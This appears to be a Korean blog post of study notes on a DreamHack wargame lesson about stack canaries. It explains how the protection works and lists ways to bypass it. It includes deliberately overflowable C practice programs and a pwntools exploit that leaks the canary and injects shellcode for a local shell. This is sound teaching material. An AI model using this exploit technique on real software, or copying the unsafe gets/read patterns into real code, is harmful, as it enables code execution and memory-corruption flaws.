INTERLUDE/System Hacking

[DreamHack] Stack Canary

sohexz 2024. 2. 13. 15:48

 스택 카나리(Stack Canary)

함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고, 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법

 

예제 코드

// Name: canary.c
#include <unistd.h>
int main() {
  char buf[8];
  read(0, buf, 32);
  return 0;
}

 

반환주소가 덮여서 Segmentation fault 발생

 

한 번 더 컴파일 시

stack smashing detected, Aborted 에러 발생

-> 스택 오버플로우가 발생하여 프로세스 강제 종료 의미

 

어셈블이어 분석 시 변경 사항

 

추가된 프롤로그의 코드에 중단점 설정 후 바이너리 실행

fs:0x28의 데이터를 읽은 후 rax에 저장

 

fs

- 세그먼트 레지스터의 일종

- 리눅스에서 프로세스가 시작될 때 fs:0x28에 랜덤 값 저장

- 리눅스에서  Thread Local Storage(TLS)를 가르키는 포인터로 사용

 

ni 후 rax 확인 결과

첫 바이트가 널바이트인 8바이트 데이터

 

 

ni 후 rbp-0x8 확인 결과

 

 

추가된 에필로그의 코드에 중단점 설정 후 바이너리 실행

 

rbp-8에 저장한 카나리를  rcx로 옮김

rcx를 fs:0x28에 저장된 카나리와 xor

두 값이 동일하면 연산 결과: 0 -> je 조건 만족 -> main 함수 정상적 반환

두 값이 동일하지 않은 경우: 1 -> __stack_chk_fail 호출되면서 프로그램 강제 종료

 

버퍼 오퍼블로우로 인해 rbp-0x8에 저장된 카나리 값이 변경된 것 확인

 

카나리 생성 과정

카나리 값은 프로세스가 시작될 때, TLS에 전역 변수로 저장

각 함수마다 프롤로그와 에필로그에서 이 값을 참조

 

fs 값 = TLS

- 특정 시스템 콜을 사용해야만 조회, 설정 가능

arch_prctl(int code, unsigned long addr)

 

아래와 같은 형태로 호출하면  fs값은 addr로 설정됨

arch_prctl(ARCH_SET_FS, addr)

 

 

 

 

watch

- 특정 주소에 저장된 값이 변경되면 프로세스를 중단시키는 명령어

pwndbg> watch *(0x주소)

 

 

카나리 우회

1. 무차별 대입

x64 아키텍처: 8바이트의 카나리 생성 (NULL바이트 포함) -> 실제 7바이트

x86 아키텍처: 4바이트의 카나리 생성 (NULL바이트 포함) -> 실제 3바이트

 

=> 연산이 가능하긴 하지만 현실적으로 어려움

 

 

2. TLS 접근

카나리는 TLS에 전역변수로 저장됨

매 함수마다 이를 참조해서 사용함

-> TLS의 주소는 매 실행마다 바뀌지만 주소를 알 수 있고, 임의 주소에 대한 읽기 또는 쓰기가 가능하다면 TLS에 설정된 카나리 값을 읽거나, 이를 임의의 값으로 조작할 수 있음

 

스택 버퍼 오버플로우를 수행할 때 알아낸 카나리 값 or 조작한 카나리 값으로 스택 카나리를 덮음

=> 함수의 에필로그에 있는 카나리 검사 우회 가능

 

3.스택 카나리 릭

- 가장 현실적인 카나리 우회 기법

함수의 프롤로그에서 스택에 카나리 값을 저장

이를 읽어낼 수 있으면 카나리를 우회할 수 있음

// Name: bypass_canary.c
// Compile: gcc -o bypass_canary bypass_canary.c
#include <stdio.h>
#include <unistd.h>
int main() {
  char memo[8];
  char name[8];
  printf("name : ");
  read(0, name, 64);
  printf("hello %s\n", name);
  printf("memo : ");
  read(0, memo, 64);
  printf("memo %s\n", memo);
  return 0;
}

 

 

 

실습

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x50];

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

 

 

스택 프레임 정보 수집

#!/usr/bin/env python3
# Name: r2s.py
from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./r2s')

context.arch = 'amd64'

# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)

 

결과

 

 

카나리 스택 프레임 정보 수집

# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte

p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)

 

 

 

익스플로잇

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)

p.interactive()

 

 

-----------------------------------------------------------------------

 

 

 

카나리를 우회하고, 셸코드가 주입된 버퍼로 실행 흐름을 조작하는 공격 기법

 

사용 조건

  1. 코드를 삽입할 수 있는 임의의 버퍼가 있을 때, 해당 버퍼의 주소를 알거나, 구할 수 있다.
  2. 실행 흐름을 옮길 수 있다. ← 스택 버퍼 오버플로우도 여기 포함됩니다.